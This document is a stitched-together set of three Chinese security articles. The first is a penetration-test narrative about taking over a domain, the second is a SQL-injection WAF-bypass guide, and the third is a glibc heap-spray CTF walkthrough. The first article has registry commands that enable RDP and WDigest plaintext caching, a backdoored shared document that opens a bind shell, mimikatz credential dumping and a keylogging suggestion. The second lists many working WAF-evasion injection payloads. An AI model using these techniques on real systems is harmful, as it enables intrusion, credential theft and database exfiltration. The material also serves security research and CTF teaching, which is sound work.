ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 一步步成为你的全网管理员（下）
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1606298097&ver=2728&signature=gM4GYLaoxSaqpqrV7s5rDq34kJOCv1Y53TLSwuzT-tYCnaKhwCmsG1zI6lcdiiU5ELbV1tidSMXwRbOvzFdr3UuULkbOKRzf1jE9farFSUSApmTKJG*kbAtUrzoHD-WP&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1606298097&ver=2728&signature=gM4GYLaoxSaqpqrV7s5rDq34kJOCv1Y53TLSwuzT-tYCnaKhwCmsG1zI6lcdiiU5ELbV1tidSMXwRbOvzFdr3UuULkbOKRzf1jE9farFSUSApmTKJG*kbAtUrzoHD-WP&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
接上一篇[《一步步成为你的全网管理员（上）》](https://www.anquanke.com/post/id/223557)。
## 跨域
现在已经获得了 IT-SUPPORT-JOHN 主机的权限，使用代理进去的msf获得一个shell。
查看权限发现属于system权限。
查看全部域用户。
查看john、lihua 在办公网的权限。发现在办公域中两人都不具备管理员权限。
查看办公域中的域管用户，发现 yasuo 用户属于域管理员组。
## 横向移动
将流量代理进新发现的网络。
先对当前主机上的信息进行收集，根据路由表等信息发现172.16.0.0/16网段。同样使用
auxiliary/scanner/smb/smb_version
模块对内部网络进行扫描，当开启扫描时发现无法进行扫描。进行多次尝试发现流量并没有被代理到第二层网络。
猜测由于第一层使用的reGeorg，所以在msf中进行再次代理时出现了问题。本来想尝试更换代理方案，第一层代理更换为msf自己创建。由于第一层网络中的目标都无法直接出网，所以改为通过操作
IT-SUPPORT-JOHN 主机对内网进行探测。
上传扫描工具 nbtscan.exe 。
使用nbtscan对内网进行扫描，发现域内网中存在邮件系统和文件系统。
经过测试，可以对 FILESERVER 主机的部分共享文件进行管理。
为了更方便的对内部进行查看，冒险将 IT-SUPPORT-JOHN 主机的远程桌面打开，通过直接连接桌面对内部进行查看。
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
通过在远程桌面上操作，查看到目标内部 EMAIL 主机上存在 OUTLOOK。
使用浏览器隐私模式登录john、lihua 的邮箱查看用户邮件，发现 lihua 有一封新邮件发送给 Tom，Lucy，yasuo
三人，让三人及时查看其放在 FILESERVER 中的OA系统测试结果文档。
由于我们可以对 lihua 放在 FILESERVER 系统中的测试结果文件进行更改，所以尝试在这上面想办法。
思路如下：将对应文件下载回本地，进行后门捆绑，替换原始文件，之后等待查看的人员中招。由于目标办公网同样无法出网，而且我们代理进去的msf存在问题没法反弹shell和不知道中招人员的ip地址也没法使用正向shell。所以针对制作一个小工具，只具备两个功能，运行后在8080端口打开一个shell，随后挂载
IT-SUPPORT-JOHN 主机的 ipc$。这样当目标中招后，我们通过查看网络连接就可以找到中招主机。
方案实施后，等待目标获取测试文档查看。随后通过监控 IT-SUPPORT-JOHN 主机的网络连接情况发现上线主机。
连接对方的8080端口成功获取到一个shell，经过筛选，得到 yasuo 员工主机shell。
查看 yasuo 主机信息，其主机名为DG165643。
由于网络问题，无法直接向DG165643主机传文件，所以将mimikatz程序上传至 IT-SUPPORT-JOHN
主机，然后在DG165643上通过共享得到mimikatz。
net use \IT-SUPPORT-JOHNc$ "PASSWORD" /u:"USERNAME"
由于yasuo属于域管用户，所以在DG165643主机上其具备管理员权限，也就不用再进行提权操作了。以system权限在DG165643上运行mimikatz成功获取yasuo用户的明文账号密码。
## 获取域控
使用域管理员yasuo的账号密码在 IT-SUPPORT-JOHN 上成功登录DGOffice域的域控。
修改域控注册表开启内存明文缓存。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
更改完成后诱导Administrator管理员重新进行登录操作，得到Administrator用户的明文密码。
## 扩大影响
到现在，我们已经控制了目标办公域的域控。但对办公域中的员工和主机对应情况不是很清楚，没法想去哪里去哪里。根据目标情况，假设目标中上班时间是周一至周五，只需要在域控主机上获取每天员工登录日志，从里面筛选出来员工和主机的一一对应关系，就可以知道员工和其所属主机是哪一个。
除了现有控下来两个域，根据lihua测试文档可以发现目标内部的测试网络（和办公域隔开），由于lihua是测试人员，可以找到对应主机，在上面进行信息收集发现前往目标测试网络的路线。在控制下来新的网络。
在对办公域中员工主机安装的办公软件进行查看时，发现其安装有CISCO的VPN客户端。并且根据连接日志记录发现连接过上篇中提到的VPN设备。根据连接时间段和浏览器日志记录综合判断，在那一段时间内，进行VPN连接的员工主机可以访问互联网。由于进入目标网络的线路是从WWW进入，线路并不稳定，所以可以在员工主机上通过键盘记录等方法获取所用VPN账号密码，然后查找目标外部是否存在入口VPN，去进行尝试连接。
到此，对目标网络的渗透基本就告一段落了。下面邀请灵魂画手绘制目标的网络拓扑。
## 总结
##
成为目标的全网管理员需要对目标整个网络的情况都要了解清楚，而这是需要对目标网络中的数据进行大量分析后才可以做到的，所以在整个内网渗透过程中，对发现的数据进行整理、分析的工作也是需要贯彻全部阶段的。 | 社区文章 |
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。
先知技术社区投稿邮箱：[email protected]；
# **我的WafBypass之道（SQL注入篇）**
* Author：Tr3jer_CongRong
* Blog：www.Thinkings.org
* Mail：[email protected]
**0x00 前言**
>
> 去年到现在就一直有人希望我出一篇关于waf绕过的文章，我觉得这种老生常谈的话题也没什么可写的。很多人一遇到waf就发懵，不知如何是好，能搜到的各种姿势也是然并卵。但是积累姿势的过程也是迭代的，那么就有了此文，用来总结一些学习和培养突破waf的思想。可能总结的并不全，但目的并不是讲那些网上搜来一大把的东西，So...并不会告诉大家现有的姿势，而是突破Waf
> Bypass思维定势达到独立去挖掘waf的设计缺陷和如何实现自动化的Waf Bypass（这里只讲主流waf的黑盒测试）
**0x01 搞起**
当我们遇到一个waf时，要确定是什么类型的？先来看看主流的这些waf，狗、盾、神、锁、宝、卫士等等。。。（在测试时不要只在官网测试，因为存在版本差异导致规则库并不一致）
我们要搞清楚遇到的waf是怎么工作的（很重要）主要分为：
1、云waf：
>
> 在配置云waf时（通常是CDN包含的waf），DNS需要解析到CDN的ip上去，在请求uri时，数据包就会先经过云waf进行检测，如果通过再将数据包流给主机。
2、主机防护软件：
>
> 在主机上预先安装了这种防护软件，可用于扫描和保护主机（废话），和监听web端口的流量是否有恶意的，所以这种从功能上讲较为全面。这里再插一嘴，mod_security、ngx-> lua-waf这类开源waf虽然看起来不错，但是有个弱点就是升级的成本会高一些。
3、硬件ips/ids防护、硬件waf（这里先不讲）
> 使用专门硬件防护设备的方式，当向主机请求时，会先将流量经过此设备进行流量清洗和拦截，如果通过再将数据包流给主机。
再来说明下某些潜规则（关系）：
* 百度云加速免费版节点基于CloudFlare
* 安全宝和百度云加速规则库相似
* 创宇云安全和腾讯云安全规则库相似
* 腾讯云安全和[门神](https://security.tencent.com/index.php/blog/msg/63)规则库相似
* 硬件waf自身漏洞往往一大堆
当Rule相似时，会导致一个问题，就比如和双胞胎结婚晓得吧？嗯。
**0x02 司空见惯**
> 我们还需要把各种特性都记牢，在运用时加以变化会很有效果。
`数据库特性`：
* 注释：
#
-- -- - --+
//
/**/
/*letmetest*/
;%00
利用注释简单绕过云锁的一个案例：
拦截的，但/**/ > 1个就可以绕过了，也就是/**//**/以上都可以。
* 科学记数法：
* 空白字符：
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
* +号：
* -号：
* ``符号：
* ~号：
* !号：
* @`形式`：
* 点号.1：
* 单引号双引号：
* 括号select(1)：
试试union(select)云盾会不会拦截
* 花括号：
这里举一个云盾的案例，并附上当时fuzz的过程：
union+select 拦截
select+from 不拦截
select+from+表名 拦截
union(select) 不拦截
所以可以不用在乎这个union了。
union(select user from ddd) 拦截
union(select%0aall) 不拦截
union(select%0aall user from ddd) 拦截
fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与末尾圆括号之间可插入的符号。
union(select%0aall{user}from{ddd}) 不拦截。
Bypass Payload：
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})
可运用的sql函数&关键字：
MySQL：
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号：
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号：
mid(version() from 1 for 1)
MSSQL：
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的，一些waf过滤不严会导致bypass
Char('97')
exec
Mysql BIGINT数据类型构造溢出型报错注入：[BIGINT Overflow Error Based SQL
Injection](http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html)
`容器特性`：
* %特性：
asp+iis的环境中，当我们请求的url中存在单一的百分号%时，iis+asp会将其忽略掉，而没特殊要求的waf当然是不会的：
修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。
* %u特性：
iis支持unicode的解析，当我们请求的url存在unicode字符串的话iis会自动将其转换，但waf就不一定了：
修复过后：
这个特性还存在另一个case，就是多个widechar会有可能转换为同一个字符。
s%u0065lect->select
s%u00f0lect->select
WAF对%u0065会识别出这是e，组合成了select关键字，但有可能识别不出%u00f0
其实不止这个，还有很多类似的：
字母a：
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号：
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白：
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(：
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号)：
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
* 畸形协议&请求：
asp/asp.net：
还有asp/asp.net在解析请求的时候，允许application/x-www-form-urlencoded的数据提交方式，不管是GET还是POST，都可正常接收，过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤，就会导致任意注入。
php+Apache：
waf通常会对请求进行严格的协议判断，比如GET、POST等，但是apache解析协议时却没有那么严格，当我们将协议随便定义时也是可以的：
PHP解析器在解析multipart请求的时候，它以逗号作为边界，只取boundary，而普通解析器接受整个字符串。
因此，如果没有按正确规范的话，就会出现这么一个状况：首先填充无害的data，waf将其视为了一个整体请求，其实还包含着恶意语句。
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------ Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- - -------- ------,xxxx--
`通用的特性`：
* HPP：
HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时，根据容器不同会得到不同的结果。
假设提交的参数即为：
id=1&id=2&id=3
Asp.net + iis：id=1,2,3
Asp + iis：id=1,2,3
Php + apache：id=3
* 双重编码：
这个要视场景而定，如果确定一个带有waf的site存在解码后注入的漏洞的话，会有效避过waf。
unlencode
base64
json
binary
querystring
htmlencode
unicode
php serialize
* 我们在整体测试一个waf时，可测试的点都有哪些？
GET、POST、HEADER那么我们专门针对一个waf进行测试的时候就要将这几个点全测试个遍，header中还包括Cookie、X-Forwarded-For等，往往除了GET以外其他都是过滤最弱的。
**0x03 见招拆招**
“正则逃逸大法”：或许大家没听说过这个名词，因为是我起的。我发现很多waf在进行过滤新姿势的时候很是一根筋，最简单的比方，过滤了%23%0a却不过滤%2d%2d%0a？上面提到八成的waf都被%23%0a所绕过。
科学计数法1union、1from？多次被坑的安全宝&百度云加速&Imperva：
过滤了union+select+from，那我select+from+union呢？使用Mysql自定义变量的特性就可以实现，这里举一个阿里云盾的案例：
由于后面在调用自定义变量的时候需要用到union+select，所以还需要绕过这个点。/*ddd*/union/*ddd*/select 就可以了。
Bypass Payload：
id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd
如何做到通过推理绕过waf？这里举一个腾讯云安全的案例：
绕过思路:
首先看看腾讯云安全怎么检测sql注入的，怎么匹配关键字会被拦截，怎么匹配不会?
* union+select拦截
* select+from拦截
* union+from不拦截
那么关键的点就是绕过这个select关键字
* select all
* select distinct
* select distinctrow
既然这些都可以，再想想使用这样的语句怎么不被检测到？select与all中间肯定不能用普通的/**/这种代替空格，还是会被视为是union+select。select
all可以这么表达/*!12345select all*/，腾讯云早已识破这种烂大街的招式。尝试了下/*!*/中间也可以使用%0a换行。
/*!12345%0aselect%20all*/还是会被拦截，这就说明腾讯云在语法检测的时候会忽略掉数字后面的%0a换行，虽然属于union+12342select，但简单的数字和关键字区分识别还是做得到。再测试/*!12345select%0aall*/，结果就合乎推理了，根据测试知道腾讯云安全会忽略掉%0a换行，这就等于union+12345selectall，
不会被检测到。（忽略掉%0a换行为了过滤反而可以用来加以利用进行Bypass）
可能会问，推理的依据并不能真正意义上证明忽略掉了%0a啊？当然要证明下啊，/*!12345%0aselect%0aall*/就被拦截了，说明刚开始检测到12345%0aselect就不再检测后方的了，union+12345select就已经可以拦截掉了。
还可能会问，既然忽略掉了%0a，那么/*!select%0aall*/是不是也可以啊，然而并不行。合理的推理很有必要。
Bypass Payload:
1' union/*!50000select%0aall*/username from users%23
1' union/*!50000select%0adistinct*/username from users%23
1' union/*!50000select%0adistinctrow*/username from users%23
不是绕不过狗，只是不够细心：
union+select拦截。
select+from拦截。
union+from不拦截。
fuzz了下/*!50000select*/这个5位数，前两位数<50 && 第二位!==0 && 后三位数==0即可bypass。(一点细节也不要放过。)
测试环境
> Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload:
>
>
> 1' union/*!23000select*/user,password from users%23
这里证明一个观点：好姿势不是死的，零零碎碎玩不转的姿势巧妙的结合一下。所以说一个姿势被拦截不代表就少了一个姿势。
**0x04 别按套路出牌**
云锁版本迭代导致的 & 360主机卫士一直存在的问题：
注意POST那个方向，waf在检测POST传输的数据过程中，没有进行URL的检测，也就是说waf会认为URL上的任何参数信息都是正常的。既然是POST请求，那就只检测请求正文咯。(神逻辑)
在标准HTTP处理流程中，只要后端有接收GET形式的查询字段，即使客户端用POST传输，查询字符串上满足查询条件时，是会进行处理的。（没毛病）
点睛之图:)
当waf成了宕机的罪魁祸首是什么样的？举一个安全狗的案例：
/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/
注释中包含超长查询字符串，导致安全狗在识别的过程中挂掉了，连带着整个机器Service Unavailable：
再举一个云锁也是因为数据包过长导致绕过的案例：
云锁在开始检测时先判断包的大小是否为7250byte以下，n为填充包内容，设置n大小为2328时，可以正常访问页面，但是会提示拦截了SQL注入
当数据包超过2329时就可以成功绕过，2329长度以后的就不检测了。？
**0x05 猥琐很重要**
这里讲个有意思的案例，并且是当时影响了安全宝、阿里云盾的姿势：
有次睡前想到的，emoji图标！是的，平时做梦并没有美女与野兽。当时只是随便一想，第二天问了5up3rc，他说他也想过，但测试并没有什么效果。
emoji是一串unicode字集组成，一个emoji图标占5个字节，mysq也支持emoji的存储，在mysql下占四个字节:
既然在查询的时候%23会忽略掉后面的，那么Emoji就可以插入到%23与%0A之间。再加多试了试，成功绕过了，200多个emoji图标，只能多，但少一个都不行。。。
可能会说，这是因为超⻓查询导致的绕过吧?并不是。
这么⻓，mysql也是会执行的:
我们再来测试阿里云盾：
绕过了。。。事情还没看起来这么简单。
当缩少emoji数量的话会拦截，想想还是再加多些试试:
还是拦截，那刚才的没拦截是怎么回事?点根烟，逐一进行排查。发现能绕过的原因和emoji数量无关，而是某个emoji可以。
就是这个愤怒的emoji，其他的emoji都不行。唯独愤怒脸可以:
将这些emoji进行urlencode看看特征，究竟是什么原因?看看哪些emoji插入不会被拦截:
有些emoji进行urlencode后是很⻓的，因为是几个emoji进行组合的。
将这些payload进行注入进去。
难道只有这个愤怒脸插入进去就可以绕过?也不能这么说，我发现能绕过的字符都是ascii码超过了127的字符：
那为什么愤怒脸的emoji可以?这里提到emoji的特征，常⻅的emoji是四位组成，前三位多数是一致的，把这三位插入payload试试:
可以实现绕过，再来看看愤怒脸的urlencode:
最后一位是%a0，那么也就是说完全可以忽略掉最后一位，而多数emoji第四位是 < ascii 127的，所以达到绕过的只是 > ascii
127的字符，会导致waf引擎无法检测。
我是个技术人，虽然这是异想天开没有任何根据的想法，但仍愿意去尝试。courage to try！
**0x06 自动化Bypass**
首先总结下sqlmap的各种bypass waf tamper：
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”，“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符，随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码（不处理已经编码的字符）
charencode.py 对给定的payload全部字符使用URL编码（不处理已经编码的字符）
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码（不处理已经编码的字符）
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字，适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
看起来很全，但有个缺点就是功能单一，灵活程度面对当今的主流waf来说很吃力了。
提到系统的训练，鉴于多数waf产品是使用Rule进行防护，那么这里不说什么机器学习。来点简单粗暴有效果的修复方案：我把每个sql关键字比喻成“位”，将一个“位”的两边进行模糊插入各种符号，比如注释（#
-- /**/）、逻辑运算符、算术运算符等等。
15年黄登在阿里云安全峰会提到的fuzz手法通过建立一个有毒标识模型，将将其插入到各种“位”，测试其waf。
在这基础上其实可以在更加全面的建立模型。因为我发现一个问题，常规绕过姿势都会被拦截。但是呢，稍加fuzz下其他“位”，做一些变通就又能绕过。最基本的一句注入语句就有这些位：
最常见的四种sql注入语句：select、update、insert、delete
有毒标识定义为n
“位”左右插入有毒表示那么就是x的n次幂
而且其他数据库也各有各的语法糖，次数量定义为y
如果再将其编码转换定位为m
其结果最少就得有：
Factor[((x^n)*4 + x*y)*m]
通常waf引擎先转换m后再去匹配，这个还是要看场景。还有关键字不止这些，稍微复杂一点的环境就会需要更多的关键字来注入，也就会需要fuzz更多的位。还没说特殊字符，根据系统含有特殊意义的字符等等，也要有所顾忌。
当前几个关键字达到绕过效果时，只需继续fuzz后面几个位即可。
还有就是传输过程中可测试的点：
因为当我们在传输的过程中导致的绕过往往是致命的，比如中间件的特性/缺陷，导致waf不能识别或者是在满足特定条件下的欺骗了waf。
**0x07 End**
一写起来就根本停不起来，后期决定出一系列waf绕过文，例如文件上传、webshell防御、权限提升等Waf绕过。xss的bypass就算了，防不胜防...（如果又想到什么有趣的手法的话，我会以下面回帖的方式给大家） | 社区文章 |
# Glibc下的HeapSpray利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Glibc下的HeapSpray
### 闲说
最近复现一些Windows的CVE时，总会遇到HeapSpray的技巧。真的佩服利用该技巧的 **第一人** ，简直就是不把 **PIE** 和
**ALSR** 放在眼里。由于有CTF比赛Pwn的经历，而且觉得Pwn的题目类型似乎很 **常规化**
了，突然想到这个技术是不是也可以用在Glibc的Pwn中。Google一番，找到了一个，TSCTF2019
薛定谔的堆块，`w1tcher`师傅出的一个结合堆喷思想的Pwn。于是激动的复现了一下，感觉很刺激，有收获（包括常规的堆的布局技巧），在这里分享一下。
## TSCTF2019 薛定谔的堆块
#### 题目分析
**32bit** 程序，保护几乎全开
程序的流程
int __cdecl main(int argc, const char **argv, const char **envp)
{
Init();
Welcome();
play();
return 0;
}
在Init里，随机分配了一个堆块，应该是为了随机化后续malloc操作的初始Heap地址
fd = open("/dev/urandom", 0);
read(fd, &buf, 4u);
srand(buf);
v0 = rand();
malloc(4 * (v0 % 0x810));
主要功能在play里，和典型的Heap类题目大致一样的功能
void play()
{
while ( 1 )
{
menu();
switch ( read_choice() )
{
case 0:
puts("Choice error!");
break;
case 1:
Create();
break;
case 2:
Display();
break;
case 3:
Delete();
break;
case 4:
Modify();
break;
case 5:
CallFunction();
break;
case 6:
puts("Thank you for using");
exit(0);
return;
}
}
}
Create的主要功能是创建 **Block** ，有些奇怪的是，这里每次Create会创建0x10个相同大小的 **Block**
，为了便于表述我在这里称一个Block为 **Small Block** ，每次Create的0x10个 **Small Block** 的组合称为
**Big Block** 。但是虽然创建 **Small Block** 0x10个，却是随机排序的。最终都会放在一个全局数组中，在 **.bss**
段.
for ( i = 0; i <= 0xFF && dword_4060[32 * i]; ++i )
;
if ( i == 0x100 )
return puts("Full! you can't apply for more.");
printf("Please enter the size of note : ");
size = read_choice();
if ( size <= 0 || size > 0x20000 )
return puts("Size error!");
for ( j = 0; j <= 15; ++j )
{
for ( k = rand() % 16; dword_4060[2 * (k + 16 * i)]; k = (k + 1) % 16 )
;
dword_4060[2 * (16 * i + k) + 1] = size;
dword_4060[2 * (16 * i + k)] = malloc(size + 4);
if ( !dword_4060[2 * (k + 16 * i)] )
{
puts("Malloc error!");
exit(-1);
}
}
可以看到为每一个Small Block分配的空间是 **size + 4**
接下来，可以初始化每个Small Block里的内容
for ( l = 0; l <= 15; ++l )
{
printf("input note data : ");
read_str(dword_4060[2 * (l + 16 * i)], dword_4060[2 * (l + 16 * i) + 1]);
TypeMenu();
printf("input the type : ");
choice = read_choice();
v7 = (_DWORD *)(dword_4060[2 * (l + 16 * i)] + dword_4060[2 * (l + 16 * i) + 1]);// here
if ( choice == 2 )
{
*v7 = &unk_4014;
}
else if ( choice > 2 )
{
if ( choice == 3 )
{
*v7 = &unk_401C;
}
else if ( choice == 4 )
{
*v7 = &unk_4024;
}
}
else if ( choice == 1 )
{
*v7 = &unk_400C;
}
}
printf("Note creation success! Index is : %d - %dn", 16 * i, 16 * (i + 1) - 1);
result = i;
dword_4008 = i;
这里我们需要注意到三点，首先 **read_str** 函数里有 **x00** 截断，也不存在溢出。另外，注意到之前分配的 **size + 4**
空间的最后4byte在这里用上了，用于存放指针。可以选择4种类型（1 2 3
4），但是真的是4种吗？答案是否定的，我们完全可以不选上面的任何一种，如此，最后的4byte就会是未初始化状态。
其次， **dword_4008** 保存了当前Create的 **Big Block** 的index。
Display的功能就是输出给定index范围的 **Small Block** 的内容
printf("Please input start index : ");
start_index = read_choice();
printf("Please input end index : ");
end_index = read_choice();
if ( start_index > 0xFFF || end_index > 0xFFF )
return puts("Index error!");
for ( i = start_index; ; ++i )
{
result = i;
if ( i > end_index )
break;
printf("Notes are : %sn", dword_4060[2 * i]);
}
Delete的功能就是删除最后一次Create的 **Big Block** 的所有 **Small Block** ，free且置NULL
v2 = dword_4008;
if ( dword_4008 < 0 || (unsigned int)dword_4008 > 0xFF )
return puts("Delete error!");
for ( i = 16 * dword_4008; 16 * (v2 + 1) > i; ++i )
{
free((void *)dword_4060[2 * i]);
dword_4060[2 * i] = 0;
}
--dword_4008;
Modify是编辑指定index的 **Small Block** 的内容
printf("Please input index : ");
v2 = read_choice();
if ( v2 > 0xFFF || !dword_4060[2 * v2] )
return puts("Index error!");
v1 = strlen((const char *)dword_4060[2 * v2]) + 1;// +1 （因为0x00截断）
printf("Please enter the note : ");
read_str(dword_4060[2 * v2], v1);
return puts("Edit success!");
CallFunction函数是根据Create时的最后4byte来决定会不会执行一个指针。
printf("Please input index : ");
v1 = read_choice();
if ( v1 < 0 || (unsigned int)v1 > 0xFFF || !dword_4060[2 * v1] )
return puts("Index error!");
v2 = *(_DWORD *)(dword_4060[2 * v1] + dword_4060[2 * v1 + 1]);
if ( *(_DWORD *)v2 )
--*(_DWORD *)v2;
else
(*(void (**)(void))(v2 + 4))();
return puts("Call success!");
基本逻辑就是最后4byte的指针处的内容如果非0，该内容就减一；反之，调用该指针+4（作为一个函数地址）
而上面的四种type，只有一个指针内容是0，其余均不为0，对应指针+4的位置均有一个函数指针（puts一段内容）
.data:0000400C unk_400C db 0 ; DATA XREF: Create+259↑o
.data:0000400D db 0
.data:0000400E db 0
.data:0000400F db 0
.data:00004010 dd offset common
.data:00004014 unk_4014 db 10h ; DATA XREF: Create+266↑o
.data:00004015 db 27h ; '
.data:00004016 db 0
.data:00004017 db 0
.data:00004018 dd offset transparent
.data:0000401C unk_401C db 64h ; d ; DATA XREF: Create+273↑o
.data:0000401D db 0
.data:0000401E db 0
.data:0000401F db 0
.data:00004020 dd offset Emmm
.data:00004024 unk_4024 db 0C8h ; DATA XREF: Create+280↑o
.data:00004025 db 0
.data:00004026 db 0
.data:00004027 db 0
.data:00004028 dd offset anoymous
##### 漏洞分析
乍一看似乎没发现比较明显的漏洞点，但是就像之前提到的Create时候的那最后4byte，暗含的未初始化的问题，后面的CallFunction也与其相关。所以基本可以断定问题在与如何利用这未初始化的4byte。
##### 漏洞利用（利用方式与libc版本无关，只是几个libc的偏移量有区别，这里是libc.2.23)
才疏学浅，没能想到如何利用这个漏洞，根据[官方exp](//github.com/xmzyshypnc/xz_files/tree/master/tsctf2019/%E8%96%9B%E5%AE%9A%E8%B0%94/p1ayer.tar))，调试复现整个利用过程，分析下其中的细节。
主要是想利用未初始化的4byte，可以在heap上产生遗留数据，导致之后分配的heap的最后4byte可控，进而利用CallFunction可以控制该地址的内容减一。但是这里有一个问题，就是最后4byte我们控制为什么地址呢？由于开启了
**PIE 、 ALSR** ，我们没有一个可靠的地址。而很明显该漏洞的利用前提是我们需要一个可控的地址。
接下来我们的主人公就出场了， **HeapSpray**
就是解决这类尴尬问题的绝妙选择。[具体原理](https://www.cnblogs.com/Fang3s/articles/3911561.html)我就不细说（不是本文的重点）。需要注意到一个问题就是虽然每次Heap地址是随机的，但是其范围是一定的。下面是我多次调试运行得到的Heap的基地址
gdb-peda$ heapbase
heapbase : 0x5655a000
gdb-peda$ heapbase
heapbase : 0x5828b000
gdb-peda$ heapbase
heapbase : 0x574dc000
gdb-peda$ heapbase
heapbase : 0x57dcc000
gdb-peda$ heapbase
heapbase : 0x572e9000
......
可以明显的感受到Heap基地址的范围是在 **0x56xxxxxxxx** 和 **0x58xxxxxx** 之间的。
类似我们熟知的 **0x0C0C0C** ，在这里选用的是 **0x58585858** 作为 **magic_addr** 。也即（ **XXXX** )
通过分配 **0x10 _0x10_
0x20000**大小的chunk，只要heap基地址满足0x5658xxxx以上（概率极大），堆就会增长到覆盖0x58585858。可以达到[0x58585858]
